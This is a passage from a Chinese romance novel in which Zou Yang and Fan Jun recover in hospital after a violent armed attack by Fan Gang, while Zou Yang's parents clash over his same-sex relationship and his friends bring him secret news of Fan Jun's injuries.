樊刚的枪已经脱手,掉在两米外的地方,但人没有死,胸口起伏着,双眼正盯着他。 樊均想撑着地面起身时才发现,左小臂断了。 樊刚看着他的手,突然笑了起来,牙缝中带着血。 右手没事。 樊均用右手撑起身体,低头看向樊刚,不知道从哪里渗出的血一滴一滴地落在樊刚脸上。 “我带你……”樊刚费力地支起脑袋,凑近他,“去见……你妈啊……” 樊均没有说话,只是低头狠狠地撞在了樊刚脸上。 邹飏能听到自己沉重的呼吸,一圈圈拧开脖子上绕着的铁丝时,手跟着呼吸一块儿颤抖着。 铁丝从切开的皮肤里被抽出时,身上那些已经麻木了的疼痛瞬间被全部惊醒。 伏身解开脚踝上的铁丝时,每一次呼吸都带着胸口和腹部的挤压的疼痛,他喘得仿佛嗓子眼儿里塞着一把烧红的铁屑。 艰难地解下了脚上的铁丝,他扶着墙起身,也没有时间去体会哪里疼哪里能受力,冲到了门边,打开门抄起已经倒地的鞋架,狠狠地扔向了对面老头儿家的房门。 接着又扑过去把虽然没了动静但不知死活的矮个儿的手用铁丝绕紧捆在了背后。 他的手抖得几乎拿不住东西。 恐惧。 焦急。 眼泪混杂着血滴在手背上。 他想马上到窗边看一看樊均的情况,但必须控制住矮个儿,这是樊均用命拼出来的机会。 对面的门打开了,老头儿骂骂咧咧走了出来。 又骂骂咧咧走了进来,看到地上躺着的人,和浑身是血的邹飏时,他发出了惊恐的叫喊声。 转身就往回跑,边跑边喊着:“杀人了!杀人了——702的杀人了——” 报警! 邹飏也吼了一声。 但猛地发现自己发不出任何声音。 他顾不上别的,捆好矮个儿就扑向了窗台。 趴在满是碎玻璃的窗框上,邹飏看到了下面五楼那个平台上,一动不动地躺着两个人。 左边的是樊刚,右边的是樊均。 他的眼镜不知道哪儿去了,两层楼的距离,他根本看不清樊均的情况。 唯一能看到的是樊均身上几乎被染成了暗红的白色T恤。 樊均!樊均! 他的嗓子就像被烧碎了一样,发不出整音。 而现在的樊均,看不到他的口型,没有给他任何回应。 平台的侧面能看到楼下空地,旁边几栋楼的邻居都出来了,聚集在楼下。 从楼后拐出来一辆闪着灯的警用摩托,小街的方向也传来了警笛声。 快一点。 快点。 樊均在五楼平台上。 邹飏身体里的最后一点力量在慢慢被抽离,扒在窗台碎玻璃上的手开始无力,最后顺着窗台边滑坐到了地上。 对门儿老头再次大吼着杀人了跑进屋里时,他闭上了眼睛,陷入了空洞的黑暗里。 死掉的人,是什么感觉? 是现在这样的感觉吗? 邹飏睁大眼睛,看到的依然是满目浓黑。 瞎了。 怎么了? 人在哪里? 能听到混乱的说话声,但听不清是什么,仿佛隔着厚厚的塑料布,每一句话都带着稀里哗啦的摩擦声。 但他感觉不到身体的存在。 看不见任何东西。 也无法思考。 唯一的感官似乎就只剩下了并不完整的听觉。 和…… 樊均。 樊均呢? 樊均怎么样了? 樊均在哪儿? 时间过得很慢。 就像是在梦里,邹飏反复地在黑暗里爬着雪山。 他开始能感觉到一些东西。 很冷。 身体很僵硬,每迈一步,都能感觉到疼。 上去三步,滑下去五步。 怎么也爬不到山顶。 遥远的什么地方,开始有些混乱的声音,滴滴声,脚步声,哭泣声,说话声,时远时近,听不真切。 “小飏啊……你能听到妈妈的声音吗……” “现在情况还不稳定……” “小飏,我是爸爸……” “妈妈来了啊小飏……不要吓妈妈……你说什么?妈妈听不清……你再说一遍好不好……” “……飏啊是妈妈……什么……樊均?” 樊均。 四周开始有光。 他能看到闪动着来回划过的光斑。 远处的声音也慢慢地靠近了他,出现在耳边。 各种感觉也从一片混沌回到了他的身体里。 呼吸。 疼痛。 不能动。 “不用了,我吃不下东西,”老妈的声音带着一丝模糊,“不用给我带了,你守着那边吧……” “妈?”邹飏艰难地开口。 嗓子干涸得仿佛要裂开。 但他听到了自己的声音。 “小飏?小飏!”老妈的声音顿时大了起来,“护士护士……他醒了,我儿子醒了……邹飏醒了……” “我渴。”邹飏能听到自己沙哑的声音。 “医生来了,”老妈在他脸上轻轻摸了摸,“一会儿检查完了就喝水哈……” “……嗯。”邹飏很低地应了一声。 “你叫什么名字?”站在床边的医生问。 “邹飏。”邹飏回答,眼前晃过手电筒的光,他闭了闭眼睛。 “你现在在哪里?”医生又问。 “医院。”邹飏说。 “一会儿会安排检查……”医生跟老妈低声说着话。 病房里又进来两个医生,邹飏感觉自己又开始有些迷糊,就像是刚睡醒,但又没有睡醒之后的那种舒适感,全身都不舒服。 他再次闭上眼睛,感觉是睡着了,但似乎又没有。 整个人慢慢清醒过来,开始地能感觉到身上的疼痛时,窗外的太阳已经斜了。 所有的回忆或模糊或清晰地回到了他脑海中。 邹飏的呼吸顿时变得有些急促起来。 “小飏?醒了吗?”一直坐在床边的老妈凑了过来,调了一下他脸上的氧气管,“怎么了?哪里不舒服吗?” “樊均呢?”邹飏问。 老妈的表情明显怔住了,过了两秒才轻声说:“他没事儿,也在医院住着。” “在哪儿?”邹飏眼前晃过平台上躺着的一动不动的樊均的身影,“伤得重吗?” “你先好好养着,你伤得不轻啊小飏,”老妈说着眼睛开始泛红,“先不要管别的了,好好休息。” “樊刚呢?”邹飏问。 “死了,樊刚死了,”老妈抹了一下眼睛,“送到医院就死了,没事儿了啊……” “樊均在……隔壁吗?”邹飏问。 老妈没有回答,手用力地按在眼睛上,一下哭出了声。 “妈?”邹飏想抬手抱抱她,但胳膊使不上劲,而且连着一堆不知道干什么的线。 “妈告诉你了啊,他没事儿,啊,他也在住着院,你知道就行了,先别老想着他了,”老妈扯了张纸巾擦着眼泪,声音控制不住地颤抖着,“你都这样了……樊刚把你都害成这样了……” “我没事儿,”邹飏有些焦急,“没事儿。” “妈知道啊,知道,你没事儿了,”老妈握住他的手,“你好好休息,别东想西想。” “樊均……”邹飏想知道更多樊均的情况,樊均抱着樊刚冲出窗户的那一幕反反复复地在他脑子里闪过,他反反复复的心惊…… 樊刚开枪了,他听到了……有没有打中樊均? 没死是伤得有多重? 但老妈没有再回答他,哭着快步走出了病房。 醒了迷糊迷糊了睡睡了醒…… 邹飏从来没有感觉时间是这么漫长和难熬,甚至仅仅只过了一个晚上。 病房外有人说话,接着有人推门走了进来。 邹飏转过头,看到了医生和他身后跟着的几个警察。 “邹飏是吧?”一个警察走了过来,弯腰问了一句。 “嗯。”邹飏应了一声。 “我们问了一下张医生,他确认你的状态可以沟通,我们尽量把时间控制在二十分钟内,你如果不舒服就跟我们说,”警察给他出示了证件,“我们想要跟你了解一下21号那天的一些情况,希望你能配合我们。” “嗯。”邹飏心里猛地抽了一下。 警察点了点头:“现在需要你回忆一下,从樊刚闯入……” 随着警察的这句话,那扇被樊刚猛地撞开的门重新撞开了邹飏的记忆,所有的痛苦和恐惧都在这一瞬间涌了出来。 从樊刚和他的同伙进门,到小白和他受伤,被控制,到樊均回家……每一处细节都带着窒息的惊惧和血腥味。 “樊刚进门的时候就是拿着枪的……”警察梳理着他有些混乱的回答,“坠楼前开了一枪……” “两枪,”邹飏说得很艰难,每一个字牵着脸上头上的伤,带起来一阵阵的疼痛,“一枪好像打在那个矮个儿身上了……还有一枪……是樊均抱着他之后……我不知道……我把矮个儿捆好之后就……看到樊均和……樊刚在五楼的平台上……没有动了。” “好的,”警察点点头,“不要害怕,你现在是安全的……” “樊均呢?”邹飏回过神,“樊均怎么样了?” “他也是安全的,”警察说,“目前隔离治疗,没有生命危险,已经转入普通病房了,你不要太担心。” 邹飏沉默着没有再说话。 现在唯一能确定的只有樊均还活着。 够吗? 够了。 不够吗? 远远不够。 “小飏!你醒了。” 老爸是下午来的,警察问话之后,邹飏一直觉得很闷,看着窗外发呆。 听到老爸声音时只觉得心里一阵堵,闷头闷脑的感觉顿时让他喘不上气来。 往门那边看了一眼,老爸一脸关切,身后的跟着进来的老妈脸色不怎么好看。 “爸。”他扯了扯嘴角。 “爸爸前两天来看你的时候你还昏迷着没有醒,我中午给你妈打电话的时候她才告诉我你已经醒了……”老爸走到了床边,把手里拎着的一个大袋子放到了桌上,然后弯腰摸了摸他的头,“你感觉怎么样?” “现在没事儿了。”邹飏说。 “怎么会没事儿,”老爸看了看他床头显示屏上的护理等级,皱着眉回头看了一眼老妈,“好好的放个暑假,伤成这样……” “意外。”邹飏说。 “完全是可以避免的意外,”老爸说,“完全是不应该发生的意外。” “你直接说是因为我就行了。”老妈说了一句。 “你……”老爸看着她,“小飏刚醒,你不要当着他的面说这些。” “你先说的,你根本不是来看小飏的,”老妈也盯着他,眼睛里闪着泪光,“你就是来指责我的。” “你不该被指责吗?小飏为什么会去那种地方?为什么会认识那样的人?为什么会卷入这样的恶性事件?”老爸压着声音,有些激动,“不是因为你吗?” “别吵。”邹飏说。 “你想骂我出去骂。”老妈抹了抹眼泪,捂住嘴。 “我不是来骂谁的,我是来看我儿子的!”老爸说。 “你不配。”老妈带着哭腔说,“你根本不配说他是你儿子!” “你配?”老爸说,“你把好好一个儿子养成什么样了?成天混在南舟坪,甚至还为了一个混混男朋友……” 邹飏猛地抬起头,震惊地看向老爸,耳边如同有狂风刮过,他后面的话全都被散了。 “你说这个干什么!”老妈忍不住吼了一声,推了老爸一下,“你出去!” “是我说的吗?”老爸指着邹飏,“你儿子昏迷的时候都想着这些,是我说的吗!我本来不想提,你非要咄咄逼人……” “我说的?”邹飏轻声问。 “你昏迷的时候说的胡话,”老妈说,“都是胡话。” “我现在不想跟你争这些,”老爸把她扒拉开,走回病床边,“小飏,这些事都先不提,爸爸也不想在这个时候跟你聊这些……” “出去吧。”邹飏说。 “什么?”老爸愣了。 “你出去吧。”邹飏说。 老爸没说话,只是猛地转头看着老妈。 “我要休息,”邹飏说,“你出去。” “你什么态度?你对爸爸就这个态度?”老爸有些难以置信地看着他,“你是不是……” “我……男朋友现在还不知道什么情况,”邹飏看着他,声音不高,气儿有些上不来,头疼得厉害,“我没有心情说话。” “邹飏?”老爸眼睛里写满震怒。 “嗯?”邹飏平静地应了一声。 “你知道你在说什么吗?”老爸问。 “知道,”邹飏说,“我现在又没昏迷。” 老爸的嘴哆嗦着,半天都没说出话来。 第56章 “邹飏,你伤得不轻,又昏迷了好几天,”老爸看着他,声音有些冷,“你今天说的这些话,我就当你没有听到过,你清醒了我再来看你。” “不要在病房喧哗,病人才刚出ICU呢,”护士走了进来,“刚声音我在外面都听见了,你们不要影响他休息!” 邹飏没有说话,闭上了眼睛。 听到老爸走出病房关上门的时候,他猛地呼出一口气。 床边各种仪器长短不一音调不同的叫声单调地重复着,始终都差着节奏,让他感觉有些喘不上气来。 邹飏有些费力地用力吸了一口气,胸口突然开始剧烈疼痛,紧跟着就是一阵反胃,随着胃的收缩,头也开始跟着疼起来。 在旁边压着声音哭的老妈听见了他急促而困难的呼吸声,冲到床边按了呼叫铃。 “小飏!小飏!你怎么了?哪里不舒服?”老妈慌乱地在他脸上摸着。 护士跑了进来,看了一下床边的监护仪器,把邹飏脸上的氧气管子换成了面罩:“血氧掉到89了,呼吸36……阿姨,不要让他太激动,他是要静养的……” “对不起,对不起,”老妈在旁边一连串地说着,声音里全是慌张和内疚,“我没想到会……” 邹飏想安慰一下老妈,但倒不过来气儿,根本说不出话,手都抬不起来,他无奈而痛苦地闭上了眼睛。 “哪里不舒服?”护士靠近他。 “……疼。”邹飏咬着牙说了一句。 “胸口这里是吗?”护士说着拿起床边一个带按钮的东西按了一下,转头跟老妈说,“阿姨,之前跟您说过,他现在深呼吸,咳嗽之类的都有可能引起疼痛……他疼的话可以按一下这个镇痛泵……” “我记得的,记得的,”老妈抹了一下眼睛,“我就是一下急昏头了……” “阿姨你们还是请个人帮一下忙,你这样太累了啊。”护士一边检查输液情况一边低声跟老妈说。 “我不放心别人。”老妈也低头说。 “连着几天都是你,前面来过的那个叔叔呢?他不是说要来帮忙吗?”护士问。 “不用他。”老妈说。 镇痛泵很快起了作用,邹飏疲惫地闭上了眼睛,那一阵疼痛过后,他感觉自己突然困得厉害。 老妈一直没跟他说过伤情,他不知道自己到底伤成什么样了,只知道哪儿哪儿都不舒服,疼,胀,脑子完全清醒的时间很短,一直都觉得很困…… 门响了一声。 邹飏伸过去想要把门反锁的手猛地停下了。 没等他作出反应,门被撞开了。 四周很黑,什么都看不清…… 樊刚的脸突然出现在了门边,手里的枪对着他举了起来。 “小飏,邹飏,没事儿了,没事儿了……” 耳边有人在说话。 邹飏用尽全身的力量睁开了眼睛。 黑暗散去,病床对面的柜子出现在视野里,柜门上贴着一小片窗外斜射进来的阳光。 但樊刚的残影还在他每一次眨眼之间。 “小飏,你做恶梦了,慢慢呼吸……”是吕叔的声音。 “吕叔。”他转过头,眼睛对了好半天的焦才看清了吕叔的脸。 “哎,是我,”吕叔弯腰站在床边,“没事儿了啊孩子,有哪儿不舒服吗?刚是不是做梦了?” “……樊均,”邹飏看到吕叔时,就像是抓住了樊均飘忽的一点消息,“怎么样了?” “他也没事儿了,”吕叔说,“别担心啊。” “他在哪儿。”邹飏问。 “也在这个医院。”吕叔说。 “别骗我。”邹飏说话有些吃力,总感觉声音不实,肺估计也有伤。 “叔没骗你,他真就在这个医院。”吕叔说。 “拍个照片,”邹飏说,“我看看。” 吕叔不是个会骗人的人,听了这话眼神顿时有些闪烁,邹飏攒着力气,也没再说,只是一直盯着他。 最后吕叔轻轻叹了口气:“他还没醒……” 邹飏感觉自己呼吸顿时有些急,手指立刻把镇痛泵的开关勾了过来拿在了手里。 “情况暂时是稳定的,”吕叔说得很快,不敢有停顿,“就是……伤得重一些,醒过来就好了。” “你知道的,都告诉我。”邹飏看着吕叔。 吕叔沉默了一会儿,看着他:“小飏啊,别让你妈妈担心。” “嗯,”邹飏应了一声,“也别……让我担心,要不我静养……不了。” 吕叔再次沉默,半天才下决心似的,先是往病房门口看了一眼,然后凑近他:“你别担心,樊均他……伤得是重一些,还没醒,不过现在基本是稳定的,因为他跟那人是一起掉下楼的,那边又犯的是命案,调查清情况之前,樊均的病房是监控着的,有警察守着,也是为了他的安全,等调查结果出来,就换到普通病房了……” “嗯。”邹飏闭上了眼睛。 这两天他头上脸上都缠着纱布,还扣着个氧气面罩,整个头和脸都是麻木的,但这会儿他还是能感觉到自己眼角有眼泪滑了出来。 缓了一会儿他再次开口:“小白和大黑?” “小白还好,当天处理完现场吕泽就送它去宠物医院了,现在也在住院呢,眼睛伤了,有骨折,别的还好,”吕叔轻声说,“大黑……” “跑了是吗?”邹飏问。 “大黑胆子小,吓着了肯定藏起来,”吕叔说,“我跟馆里那帮小孩儿还有附近邻居都说了,看着大黑就告诉我。” “它是……白猫。”邹飏说。 樊刚进门之后,他就一直没再看到大黑,这家伙很灵活,估计一开始藏到了樊均屋里,之后就跑了。 邹飏闭了闭眼睛。 “我知道,跟他们说了,”吕叔笑笑,“叫大黑的白猫。” “樊均起的名字。”邹飏扯了扯嘴角。 “嗯,这小子,黑狗叫小白,”吕叔眼角也有细小的泪光,他偏开了头,“他总这样……” “樊均是不是……”邹飏喘了两下,“中枪了?” 吕叔用手抹了抹眼睛,没说话。 邹飏的眼泪一下就涌了出来,开口的时候声音完全不成形:“打哪儿了?” “左……胸口上一点儿,”吕叔在他手上轻轻拍着,“没伤着重要的,肩往下一点儿……” 是哪一枪? 隔着矮个儿开的那一枪? 还是对着他的那一枪? “小飏啊,你别想这些,也别老打听了,”吕叔说,“不管什么样的情况,现在都是稳定的,你也要静养,得好好恢复,别让你妈担心。” “嗯,”邹飏应着,“我妈呢?” “……她回家去休息一下,再拿点儿换洗衣服什么的过来。”吕叔说得有些不太自然。 邹飏虽然脑子一直昏昏沉沉,但也还有思考的能力。 他在昏睡里每一次睁眼,都能看到老妈在旁边坐着,怕是身体已经透支了,加上老爸过来的时候,被刺激到的不仅仅是邹飏,老妈也同样被刺伤。 而自己昏迷的时候无论到底说了什么,都是老妈不能接受的“胡话”。 甚至这几天吕叔明明一直也在医院,老妈也一直没让他来,一直到自己挺不住了,吕叔才被允许过来帮忙。 “她身体没出问题吧。”邹飏问。 “就是累了,得歇歇,”吕叔说,“今天我在这儿陪你,她明天肯定就回来了,劝也劝不住的。” “嗯。”邹飏应了一声。 “樊均的情况稳定的,你不用担心,”吕叔说得有些犹豫,“你……不用问你妈妈,她也不清楚的。” “……我懂了。”邹飏扯着嘴角笑了笑。 他没有再跟老妈打听过樊均的情况,虽然煎熬,但看着本来漂亮的老妈猛然憔悴,眼窝发黑,头发也没心情收拾,他也只能煎熬着。 吕叔也没再来过,应该是打过电话,但老妈态度并不是很好。 虽然请了人照顾邹飏,她也依旧每天都守在床边。 毕竟邹飏从小到大,没有经历过这样的痛苦,没有受过这样的伤,一次次突然发作的疼痛,一次次从梦中惊醒又昏睡过去…… 邹飏也是第一次知道,真正的恐惧是这样的漫长,比身体的痛苦漫长得多,且不会随着时间淡去。 他的思维越清晰,恐惧就越强烈。 任何突然出现的人和声音,都会惊到他。 樊均呢? 樊均现在怎么样了? 醒了吗? 能说话了吗,能动了吗? 还会害怕吗? “文瑞他们到了,”老妈握着他的手,“马上就到病房了。” “嗯。”邹飏偏过头看着病房门口。 醒过来十多天了,状态也好了不少,他的探视限制终于被取消,宿舍这几个人终于能来看他了。 刘文瑞几乎是小跑着冲到病房门口的,走进病房看到邹飏的瞬间他的眼泪就涌了出来。 “我操啊。”他抬手抹了一把眼泪,往病床边走过来,“我操……” 邹飏轻轻叹了口气:“文明点儿。” “怎么……”李知越把手里拎着的一个大盒子给了老妈,看了看他床边的仪器和一堆的吊瓶,“怎么这么严重?” “已经好多了。”邹飏说。 “那之前得有多不好啊。”刘文瑞一边哭一边伸出手,在他头上身上悬着虚晃了一圈儿,没敢往下落。 “先别哭了,”张传龙说,“一会儿把他再给弄哭了对恢复不好!” “哦。”刘文瑞伏身看了看邹飏的脸,“能看到我吧?我文瑞。” “看得见,”邹飏看着他,“不用闻。” “操,”刘文瑞带着满眼的泪水笑了,“嘴是一点儿没伤。” “嗯。”邹飏看向李知越和张传龙,“你们怎么提前回来了?” “你问这个话就不怎么有良心,”李知越说,“我俩知道你出事儿当天就买票回来了。” 邹飏笑了。 “住我家呢,烦死了,给我妈都快烦疯了,跟我爸俩去我奶家住了,”刘文瑞说着又放低了声音,“樊……” “我喝点儿水。”邹飏迅速打断了他的话,冲他使了个眼色。 “我给你拿。”刘文瑞反应很快,转身拿了杯子给他倒水。 一直到老妈去医生办公室谈话,刘文瑞才再次快速地问了一句:“怎么回事儿?樊均什么情况?” “你们一会儿,去找他,”邹飏说,“我不知道他在哪个病房,也不清楚他什么情况,没人告诉我。” “你妈也不告诉你?”李知越愣了愣。 “嗯。”邹飏应了一声。 “为什么啊?”张传龙不能理解。 邹飏没说话。 刘文瑞瞪着他愣了好一会儿才突然问了一句:“你不会是……跟她说了吧?” “我好像……昏迷的时候,”邹飏清了清嗓子,“说了。” “我操?”刘文瑞震惊了。 “什么?操什么?”张传龙有点儿急了,“什么玩意儿啊?” “你闭嘴。”李知越说。 “去帮我打听一下。”邹飏说。 “我现在就去。”刘文瑞转身就往外走。 “一会儿的,”李知越一把拉住了他,“我们来看邹飏的,十分钟就走了?假不假啊?” “你能用手机了吗?”刘文瑞又转了回来。 “能,就是有时候头晕,”邹飏说,“手也不方便。” 刘文瑞把自己的车钥匙拿出来放在了他枕头边,又扯了扯枕套盖上:“我一会儿回来找钥匙。” “喝点儿水吗?”吕泽拿着水杯站在床边。 樊均没出声,靠在床上,眼睛看着窗外。 “樊均!”吕泽提高声音,“喝水吗?” “……嗯。”樊均应了一声,转回头。 吕泽把杯子递到他嘴边,他咬住吸管,右手接过杯子。 喝了两口,他把杯子放到了面前的板子上,盯着看了一会儿,缓缓伸出左手,想要握住杯子。 想要握紧。 手指和整条手臂都在抖。 握不住。 别说拿起来,有些变形的手指甚至没法把杯子握住。 抬手时左胸枪伤的位置一阵阵抽搐着的疼痛…… “不要急,”吕泽拿开了杯子,“这都没到一个月,毕竟伤到了神经,得慢慢恢复。” 樊均没有说话,只是盯着自己的手。 “我刚去问了一下医生,”吕泽说,“后脑的血肿已经吸收得差不多了,腰椎的伤还是要卧床静养……樊均?” 吕泽的声音很远,需要认真听。 “嗯。”他还是应了一声。 “医生说明天请了会诊,你左耳的听力测一下……”吕泽说。 “听不见了。”樊均声音很低。 “我知道,”吕泽转到他右边,“医生说有可能是暂时性的,检查了才知道。” 樊均没有出声。 病房门外有人影晃动。 吕泽抬头看了一眼,似乎有些吃惊,伸手在他肩上拍了拍:“是邹飏的那几个同学。” 邹飏。 这个名字带着电从他全身都有些迟钝了的神经上跳过。 他转头看向门口。 “樊哥!”刘文瑞推开门走了进来,身后跟着李知越和张传龙。 “吕哥,”李知越跟吕泽打了个招呼,指了指樊均,“我们来看看樊哥。” “嗯,”吕泽点点头,从床边走开了,“到这边儿来说吧,他现在左边听不见。” “啊?”刘文瑞愣住了。 几个人走到床右边,大概是吕泽在场,三个人突然都有些不自在。 “我们刚从邹飏那儿过来的,”刘文瑞说,“他一直不知道你的……情况,我们就过来看看。” 樊均沉默着。 醒来之后,除了警察问话和吕叔给他说过一次邹飏的情况,近一个月以来,这是他第一次清晰地感知到邹飏。 脑子一直是闷的,身体也是麻木的。 他刻意地回避关于邹飏的一切,他给邹飏带来的一切,给所有人带来的这一切…… 樊刚在邹飏身上的一次次重击,樊刚的枪口朝向邹飏,那一瞬间的惊恐再次袭来。 他不敢想象,如果那一枪打中了邹飏,会怎么样。 吕叔告诉他邹飏的伤情时,每一句话都像能穿透他身体的箭,疼得像是被泡在了盐水里。 “左臂现在不太能动,伤到了臂丛神经,不过还好不是最严重的情况,就是需要时间,”吕泽给刘文瑞他们说着他的情况,“枪伤那个铅弹的碎片还没有全部取出来……右肝破裂和腰椎……” “不要。”樊均低声开口。 “嗯?”刘文瑞看向他。 樊均慢慢抬起头,看着吕泽:“不要说。” 吕泽没出声,也没再继续说下去。 “樊哥……”刘文瑞靠近他,“邹飏就是想知道一下……” “就说恢复好了,”樊均说,“不用担心。” 刘文瑞沉默了。 “谢谢,”樊均说,“回去吧。” 第57章 “明天我推你出去走走吧,”老妈坐在床边,“医生说可以在院儿里活动一下,腿没什么问题了,之前骨折的伤没有影响……” “你休息一下吧妈,刘文瑞他们过来就行,”邹飏看着她,“你瘦了好多。” “我又不累,你这不是感冒发烧,也不是你之前那样的骨折,”老妈叹了口气,皱着眉转开了脸,“命差点儿没了啊……” “不说这个。”邹飏说。 “晚饭想吃什么?今天咱们不吃医院的病号饭了,”老妈说,“对面有一家做营养餐的,隔壁的大姐说他家还挺好吃的,我要了个菜单过来。” “我看看。”邹飏其实没什么胃口,以前他挺馋的,这几天饮食慢慢恢复了,他却一直不怎么想吃东西。 “要戴眼镜吗?”老妈拿出菜单递了过来,又拉开床头柜的抽屉,“我把你旧的那副眼镜拿来了,不知道度数还合不合适。” “嗯,”邹飏点了点头,“合适的,我换那副眼镜就是为了好看。” 老妈笑了笑,帮他把眼镜戴上了。 邹飏看着菜单,挺清淡的,不过看图片应该不难吃……虾滑蒸蛋可以,蓝莓山药泥?有点儿想吃……鱼汤,鱼汤应该也不错……或者南瓜小米粥吧……还有蒸饺…… 邹飏突然猛地一阵反胃,把菜单扔到一边干呕了两下。 胸口扯着疼。 ……昨天镇痛泵刚撤掉。 “怎么了?”老妈吓得站了起来,“疼吗?” “……没,不疼,”邹飏闭了闭眼,还好这个劲儿很快过去了,“没事儿。” “怎么还会这样呢,医生不是说现在不会了的吗?”老妈有些慌。 “没,可能是饿了,”邹飏缓了缓,“虾滑蒸蛋和蓝莓山药吧,还有鱼汤……” “我一会儿打电话,他们有人专门往医院送。”老妈拿走了菜单,放回桌上的时候偏了偏头,“哎?这是不是……这是刘文瑞的车钥匙吧?” “嗯?”邹飏转头看了一眼。 “这孩子,以前每回上咱们家来都落东西,长这么大了还这样。”老妈拿出手机,“我给他打个电话吧,给他送出去。” “别……不用,”邹飏赶紧说,“他估计……” “我又回来了!”刘文瑞推开病房门走了进来。 “车钥匙没拿吧。”老妈说。 “……对,”刘文瑞笑了笑,“阿姨看到了吗?” “这儿呢,”老妈把钥匙给了他,“他们几个呢?” “外头等我呢。”刘文瑞拿了钥匙站在床边也没动。 他们商量好了刘文瑞把消息给他带回来,但没商量好带回来以后怎么交接,毕竟老妈寸步不离地守在床边。 “赶紧去啊。”老妈看着他。 “阿姨,”刘文瑞一咬牙,“您能回避一下吗?” 老妈顿了顿,眼神里顿时全是怀疑。 “我有点儿……感情上的问题,想跟邹飏聊聊,这么久没见着他,实在是憋死我了。”刘文瑞说。 “哟,”老妈犹豫了一下,还是往门口走了过去,“你还感情上了,你初中的时候不是宣布自己独身主义吗……” “人是会变的嘛……飏啊,”刘文瑞拖过椅子挨到床边,“我吧……我最近吧……” “出去了,说正事儿,”邹飏打断他,“见到人了吗?” “我先说一点,”刘文瑞竖起一根手指,“这是全部情况的前提。” “嗯。”邹飏应了一声。 “他看起来还不错的,能坐着的……”刘文瑞说。 邹飏猛地松了口气。 “比他实际的伤情看起来要好。”刘文瑞把话说完了,看着他。 “什么意思?”邹飏刚松出去的气又被拎了回来。 “我觉得我其实不应该告诉你,”刘文瑞看了一眼旁边的仪器,“你这……” 邹飏没说话,只是看着他。 “他不让跟你说,”刘文瑞摸出了手机,把耳机塞到了他耳朵里,点开了视频文件,“但咱俩十几年的感情,这种时候我肯定不能背叛你,我不跟你似的见色弃友始没乱终还是弃了……” 视频的画面颠三倒四的,一看就是鬼鬼祟祟拿在手里随便拍的,晃得厉害,半天都分不清是人正着的还是倒着的。 邹飏想暂停了慢慢看,但胸口还有个固定骨折的合金胸带,虽然是智能的,挺高级,但很多动作会受限,他有些着急地拍了拍床:“把床抬起来点儿。” “我抬?”刘文瑞震惊地看着他,但手已经抓住了床沿,“怎么……抬?” 邹飏有些无语地也看着他,也就是现在说话还有些耗体力他不想开口。 “哦!我操,”刘文瑞突然反应过来,“你说摇起来点儿多好,我差点儿没听懂……” “我头也是有伤的。”邹飏说着视线又盯回了屏幕上。 画面一晃,他看到了靠坐在床上的樊均。 他盯着屏幕,手指不停地在屏幕上戳着。 “干嘛呢?”刘文瑞看着他,压低声音,“看看就行了,还想摸啊?” “有病吧,想找个合适的地方暂停。”邹飏说。 “我来我来,”刘文瑞拿过手机,对着屏幕一通狂戳,再放回了他面前的小桌板上,“看吧,也就这里能看清了,后面站他旁边我手也不敢动……” 邹飏没注意听刘文瑞说了什么,盯着屏幕上的樊均。 因为晃得厉害,暂停了画面也很模糊,但还是能看到,樊均瘦了一大圈儿。 低着头,看不清眼睛,甚至也看不清鼻梁上和唇上的疤,左胸的绷带和左臂的夹板占据了大部分画面…… “你俩现在发型倒是情侣款了。”刘文瑞说,“他脑袋后头缝了挺长一条,不过里面的水肿已经消了。” “嗯。”邹飏放大了画面,盯着樊均的脸看了一会儿才把进度条拉回起点,重新播放。 樊均的左耳完全听不见了,右耳不知道是不是也受了影响,头肯定是有伤的,矮个儿往他头上砸的那几下邹飏现在想起来手都会发抖…… 吕泽跟刘文瑞他们说樊均的伤情时说得很顺,看来照顾了他一段时间了……但邹飏越听眼前越模糊,一滴眼泪落在了屏幕上,视频暂停了。 刘文瑞在旁边叹了口气,拿过手机往自己身上蹭了两下,又飞快地扯了张纸巾往他眼睛上按了按:“别哭,你妈就在门口,说不定一会儿还会从那个窗口往里看,她可能不太相信我的话……” 刘文瑞又扯了张纸巾往自己眼睛上按着:“我得装得像一点儿。” 视频继续,邹飏还没来得及理顺樊均的伤,就听到了樊均的声音。 “不要说……就说恢复好了,不用担心。” “谢谢,回去吧。” 樊均的声音有些沙哑,透着他从未听过的,带着满满消沉的平静。 邹飏低着头,盯着已经黑屏了的手机。 他不想哭,除了心疼,他现在最深的感受……是心慌。 樊均看到刘文瑞他们时,没有惊喜,没有笑容,没有任何情绪,也几乎没有话。 “吕泽说他现在左手……不能动,伤了那个什么鬼神经嘛,但好在不是最严重的那种情况,”刘文瑞低声说,“他送我们出来的时候说来着,得有个半年一年的恢复,还有那个腰椎也是,能恢复,就是需要时间……” “也就是说,”邹飏还是盯着屏幕,“他有很长一段时间,什么也做不了。” “嗯?”刘文瑞愣了愣,“是吧,这个伤,行动就算不影响了,也还……你意思是他工作都得被影响了,是这意思吗?” 邹飏没再说话。 樊均是个什么样的人,他并不完全了解,但他知道,这伤会影响他的教练工作,就算能恢复,在一年时间里,他会再次成为吕叔一家的拖累。 邹飏感觉自己指尖发凉。 “没事儿吧?飏飏?”刘文瑞轻轻推了他一下,“这个是你心率吗?是不是有点儿高?” “……气的。”邹飏回过神。 “气什么?”刘文瑞看着他。 “录的什么鬼,人都没一个清楚的,吕泽你都没拍清。”邹飏说。 “我操?”刘文瑞一把拿回自己手机,“算了我念你现在是个废人……” “明天有空过来伺候我吗?”邹飏问,“我妈得休息,请人就请了几天又不要人家来了,嫌贵,又嫌照顾不好……” “他们那天回来的时候就说了,一块儿过来帮忙的,有事儿就轮流,没事儿就一块儿来,放心吧,”刘文瑞说,“我们便宜。” “你们不应该免费吗?”邹飏看了他一眼。 刘文瑞啧了一声:“不是,你那么多钱呢,这回你爹不给个十万八万的啊……” “以后没有了。”邹飏打断他的话。 “什么?”刘文瑞愣了。 “学费生活费什么的得给,离婚协议里写了的都得给,”邹飏说,“额外的没了。” “为什……”刘文瑞在震惊中突然反应过来,“他是不是也知道了?” “嗯。”邹飏应了一声。 “不是,你昏迷的时候干什么了啊?你到底说什么了啊?”刘文瑞实在想不通,“怎么这事儿能……你说樊均会不会也知道了?” “嗯?”邹飏抬起头,这个倒是他没想过的。 樊均知道吗? 他在昏迷的时候不知道口出了什么狂言,所有人都知道了。 老妈在外面没待多久就回了病房,邹飏感觉她并没有十分相信刘文瑞有什么感情问题,毕竟他们一块儿长大。 “我走了啊,你好好休息,明天我过来,”刘文瑞说完又借着扶他躺下的机会低声说,“拿着点儿手机。” “嗯。”邹飏应了一声。 